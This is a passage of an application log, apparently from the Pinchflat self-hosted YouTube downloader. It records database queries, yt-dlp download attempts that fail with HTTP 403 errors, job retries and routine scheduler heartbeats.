"media_items" AS m0 WHERE (m0."id" = ?) [13061] 04:12:34.336 [info] User scripts lifecyle file either not present or is empty. Skipping. 04:12:34.336 [debug] QUERY OK source="sources" db=0.3ms idle=1807.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 04:12:34.337 [debug] QUERY OK source="media_profiles" db=0.2ms idle=1009.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 04:12:34.337 [debug] QUERY OK source="media_items" db=0.2ms idle=8.7ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [13061] 04:12:34.338 [debug] QUERY OK source="media_metadata" db=0.2ms idle=2.7ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [13061] 04:12:34.338 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 04:12:34.339 [debug] QUERY OK source="settings" db=0.2ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:12:34.339 [debug] QUERY OK source="settings" db=0.1ms idle=2.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:12:34.339 [debug] Running yt-dlp command for action: get_downloadable_status 04:12:34.340 [debug] QUERY OK source="settings" db=0.1ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:12:34.340 [debug] QUERY OK source="settings" db=0.0ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:12:34.340 [debug] QUERY OK source="settings" db=0.1ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:12:34.340 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=RdZn86fOHqA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/73/e9/73e9380988459fe49e6278ca924b3a2a5ac040f045732968ee14bcd097266992.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 04:12:37.992 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=RdZn86fOHqA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/73/e9/73e9380988459fe49e6278ca924b3a2a5ac040f045732968ee14bcd097266992.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 04:12:37.992 [debug] Running yt-dlp command for action: download 04:12:37.992 [debug] QUERY OK source="settings" db=0.1ms idle=660.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:12:37.992 [debug] QUERY OK source="settings" db=0.1ms idle=463.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:12:37.992 [debug] QUERY OK source="settings" db=0.1ms idle=464.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:12:37.993 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=RdZn86fOHqA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/a9/ec/a9ec1c21442e68d3681c2d1e6207d3efe2f7ef6cc8aef865f8cd9683206a0d42.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 04:12:42.463 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=RdZn86fOHqA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/a9/ec/a9ec1c21442e68d3681c2d1e6207d3efe2f7ef6cc8aef865f8cd9683206a0d42.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96. Skipping... ERROR: unable to download video data: HTTP Error 403: Forbidden 04:12:42.463 [error] yt-dlp download error for media item #13061: "ERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96. Skipping...\nERROR: unable to download video data: HTTP Error 403: Forbidden\n" 04:12:42.464 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":13061},"id":1740,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":8128093,"event":"job:exception","queue_time":722553,"attempt":12,"tags":["media_item","media_fetching","show_in_dashboard"]} 04:12:51.320 [info] {"source":"oban","duration":1127,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:13:00.522 [info] {"source":"oban","duration":212,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:13:21.322 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:13:51.323 [info] {"source":"oban","duration":721,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:14:00.523 [info] {"source":"oban","duration":355,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:14:21.324 [info] {"source":"oban","duration":858,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:14:51.326 [info] {"source":"oban","duration":864,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:15:00.524 [info] {"source":"oban","duration":164,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:15:21.328 [info] {"source":"oban","duration":768,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:15:51.329 [info] {"source":"oban","duration":611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:16:00.525 [info] {"source":"oban","duration":253,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:16:21.330 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:16:51.331 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:17:00.526 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:17:21.332 [info] {"source":"oban","duration":635,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:17:51.333 [info] {"source":"oban","duration":727,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:18:00.527 [info] {"source":"oban","duration":328,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:18:01.429 [info] GET / 04:18:01.429 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 04:18:01.430 [debug] QUERY OK source="settings" db=0.2ms idle=902.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:18:01.430 [debug] QUERY OK source="media_profiles" db=0.1ms idle=902.0ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 04:18:01.430 [debug] QUERY OK source="sources" db=0.0ms idle=902.2ms SELECT count(s0."id") FROM "sources" AS s0 [] 04:18:01.440 [debug] QUERY OK source="media_items" db=9.7ms idle=902.3ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 04:18:01.441 [debug] QUERY OK source="media_items" db=0.3ms idle=739.5ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 04:18:01.441 [debug] QUERY OK source="settings" db=0.1ms idle=10.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:18:01.441 [debug] QUERY OK source="settings" db=0.0ms idle=10.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:18:01.442 [debug] QUERY OK source="settings" db=0.1ms idle=11.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 04:18:01.442 [debug] QUERY OK source="tasks" db=0.1ms idle=1.9ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 04:18:01.443 [debug] QUERY OK source="media_items" db=0.2ms idle=1.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 04:18:01.443 [debug] QUERY OK source="media_items" db=0.3ms idle=2.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 04:18:01.444 [debug] QUERY OK source="sources" db=0.1ms idle=2.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [3, 2] 04:18:01.449 [debug] QUERY OK source="media_items" db=3.1ms idle=3.7ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 04:18:01.449 [debug] QUERY OK source="media_items" db=0.5ms idle=6.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 04:18:01.450 [debug] QUERY OK source="sources" db=0.2ms idle=6.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [3, 2] 04:18:01.451 [info] Sent 200 in 21ms 04:18:21.334 [info] {"source":"oban","duration":711,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:18:51.335 [info] {"source":"oban","duration":693,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:19:00.528 [info] {"source":"oban","duration":235,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:19:21.336 [info] {"source":"oban","duration":810,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:19:51.338 [info] {"source":"oban","duration":857,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:20:00.529 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:20:21.340 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:20:51.341 [info] {"source":"oban","duration":712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:21:00.530 [info] {"source":"oban","duration":210,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:21:21.343 [info] {"source":"oban","duration":682,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:21:51.344 [info] {"source":"oban","duration":746,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:22:00.531 [info] {"source":"oban","duration":272,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:22:21.346 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:22:51.347 [info] {"source":"oban","duration":662,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:23:00.532 [info] {"source":"oban","duration":239,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:23:21.348 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:23:51.349 [info] {"source":"oban","duration":707,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:24:00.533 [info] {"source":"oban","duration":209,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:24:21.351 [info] {"source":"oban","duration":660,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:24:51.352 [info] {"source":"oban","duration":703,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:25:00.534 [info] {"source":"oban","duration":152,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:25:21.353 [info] {"source":"oban","duration":687,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:25:51.354 [info] {"source":"oban","duration":562,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:26:00.535 [info] {"source":"oban","duration":198,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:26:21.355 [info] {"source":"oban","duration":616,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:26:51.356 [info] {"source":"oban","duration":592,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:27:00.536 [info] {"source":"oban","duration":169,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:27:21.357 [info] {"source":"oban","duration":515,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:27:51.357 [info] {"source":"oban","duration":451,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:28:00.537 [info] {"source":"oban","duration":265,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:28:21.359 [info] {"source":"oban","duration":590,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:28:51.360 [info] {"source":"oban","duration":652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:29:00.538 [info] {"source":"oban","duration":154,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:29:21.361 [info] {"source":"oban","duration":606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:29:51.362 [info] {"source":"oban","duration":768,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:30:00.539 [info] {"source":"oban","duration":243,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:30:21.363 [info] {"source":"oban","duration":644,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:30:51.364 [info] {"source":"oban","duration":606,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:31:00.540 [info] {"source":"oban","duration":207,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:31:21.365 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:31:51.366 [info] {"source":"oban","duration":597,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:32:00.541 [info] {"source":"oban","duration":180,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:32:21.367 [info] {"source":"oban","duration":829,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:32:51.369 [info] {"source":"oban","duration":623,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:33:00.542 [info] {"source":"oban","duration":205,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:33:21.370 [info] {"source":"oban","duration":739,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:33:51.371 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:34:00.543 [info] {"source":"oban","duration":204,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:34:21.372 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:34:51.373 [info] {"source":"oban","duration":645,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:35:00.544 [info] {"source":"oban","duration":204,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:35:21.374 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:35:51.375 [info] {"source":"oban","duration":701,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:36:00.545 [info] {"source":"oban","duration":212,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:36:21.376 [info] {"source":"oban","duration":854,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:36:51.378 [info] {"source":"oban","duration":674,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:37:00.546 [info] {"source":"oban","duration":240,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:37:21.379 [info] {"source":"oban","duration":676,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:37:21.982 [info] {"args":{"id":13020},"id":1733,"meta":{},"system_time":1775032641982376000,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":15,"tags":["media_item","media_fetching","show_in_dashboard"]} 04:37:21.983 [debug] QUERY OK source="media_items" db=0.4ms idle=1453.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [13020] 04:37:21.983 [info] User scripts lifecyle file either not present or is empty. Skipping. 04:37:21.983 [debug] QUERY OK source="sources" db=0.2ms idle=1009.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", 